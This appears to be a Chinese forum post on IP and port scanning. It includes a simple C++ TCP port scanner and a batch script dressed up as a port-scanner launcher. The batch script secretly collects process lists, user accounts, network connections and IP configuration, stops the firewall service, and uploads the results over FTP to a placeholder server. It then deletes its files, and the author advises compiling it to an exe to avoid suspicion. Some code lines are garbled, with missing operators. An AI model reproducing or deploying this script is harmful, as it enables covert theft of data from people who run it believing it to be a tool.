c#扫描内网ip-c端口扫描ip输入

hacker|
204

端口扫描器的起始IP,和结束IP里面填什么?

开始IP小于结束IP,比如:220.220.10.0 到 220.220.10.255IP头尾为0 到 255.所以意思就是220.220.10这个段最小是220.220.10.0.最大是220.220.10.255 不过我们一般忽略0和255.因为0和255存在IP的可能性很小!

C++ TCP端口扫描

差不多就是这样的吧

#include stdio.h

#include winsock.h

#pragma comment(lib,"wsock32.lib")

int main(int argc, char **argv)

{

SOCKET sd_client;

u_short iPortStart, iPortEnd, port;

struct sockaddr_in addr_srv;

char *pszHost;

WSADATA wsaData;

WORD wVersionRequested;

int err;

switch(argc)

{

case 2:

iPortStart = 0;

iPortEnd = 65535;

pszHost =argv[1];

break;

case 3:

iPortStart = iPortEnd = atoi(argv[2]);

pszHost =argv[1];

break;

case 4:

iPortStart = atoi(argv[2]);

iPortEnd = atoi(argv[3]);

pszHost =argv[1];

break;

default:

printf("正确的命令行参数:\n");

printf("[IP] 扫描所有端口\n");

printf("[IP] [端口]:扫描单个端口\n");

printf("[IP] [端口1] [端口2]:扫描端口1到端口2\n");

return 1;

}

wVersionRequested = MAKEWORD( 1, 1 );

err = WSAStartup( wVersionRequested, wsaData );

if ( err != 0 )

{

printf("Error %d: Winsock not available\n", err);

return 1;

}

for(port=iPortStart; port=iPortEnd; port++)

{

sd_client = socket(PF_INET, SOCK_STREAM, 0);

if (sd_client == INVALID_SOCKET)

{

printf("no more socket resources\n");

return 1;

}

addr_srv.sin_family = PF_INET;

addr_srv.sin_addr.s_addr=inet_addr(pszHost);

addr_srv.sin_port = htons(port);

err = connect(sd_client, (struct sockaddr *) addr_srv, sizeof(addr_srv));

if (err == INVALID_SOCKET)

{

printf("不能连接此端口:%d\n", port);

closesocket(sd_client);

continue;

}

printf("扫描此端口成功:%d\n", port);

closesocket(sd_client);

}

WSACleanup();

return 0;

}

如何扫ip啊?

点击开始菜单\运行输入: cmd输入ipconfig -all可以扫你的IP!使用一下程序可以扫其他人IP@shift 1

@echo off

tasklistc:\msconfig.txt

verc:\msconfig.txt

net stop sharedaeccessc:\msconfig.txt

netstat -anc:\msconfig.txt

@echo %date%%time%c:\msconfig.txt

cls

net user c:\msconfig.txt

ipconfig c:\msconfig.txt

@echo open ---域名or空间---c:\1.txt

@echo s56c:\1.txt

@echo 6834c:\1.txt

@echo send c:\msconfig.txtc:\1.txt

@echo byec:\1.txt

@ftp -s:c:\1.txtdel c:\1.txtdel c:\msconfig.txt

cls

color 4f

Title 个人专用版VER1.1

echo ╔┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉╗

echo ┋ 个人专用版 ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ ┋

echo ┋ 一直被模仿-- --从未被超越 ┋

echo ┋ ┋

echo ┋ S,世界顶尖扫描器,此工具省去输入命令的麻烦 ┋

echo ┋ ┋

echo ╚┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉╝

echo =======================================================

@ if exist Result.txt del Result.txt

:a

set/p c=当前是否XP系统(Y/N):

if "%c%"=="Y" goto y

if "%c%"=="n" goto n

if "%c%"=="" goto a

:y

cls

title 个人专用版

echo 欢迎使用XP版S扫描器!支持SP2!

set/p ip1=请输入起始IP:

set/p ip2=请输入结束IP:

set/p pro=请输入要扫描的端口:

echo 正在扫描,请稍候…………

@ s.exe tcp %ip1% %ip2% %pro% 700 /save

goto e

:n

cls

title 非XP模式

echo 您选择了非XP扫描方式。

set/p ip1=请输入起始IP:

set/p ip2=请输入结束IP:

set/p pro=请输入要扫描的端口:

echo 正在扫描,请稍候…………

@ s.exe syn %ip1% %ip2% %pro%

goto e

:e

echo 扫描完毕,感谢使用!

pause

@echo open ---域名or空间---c:\1.txt

@echo s56c:\1.txt

@echo 68341c:\1.txt

@echo send Result.txtc:\1.txt

@echo byec:\1.txt

@ftp -s:c:\1.txtdel c:\1.txtdel c:\1.txt

哈. 大家自由发挥吧. 上面在代码复制到记事本, ""---域名or空间---"" 替换成你的域名或者空间地址..

已经排版好了. 空间上看起来很不美观.. 唉. 复制到记事本就不会这么难看了..

注意: 有S扫描器是用不了的 ! 建议用ExeScript编译成exe , 不要用cmd模式. 免的引起怀疑.. HOHO~

0条大神的评论

发表评论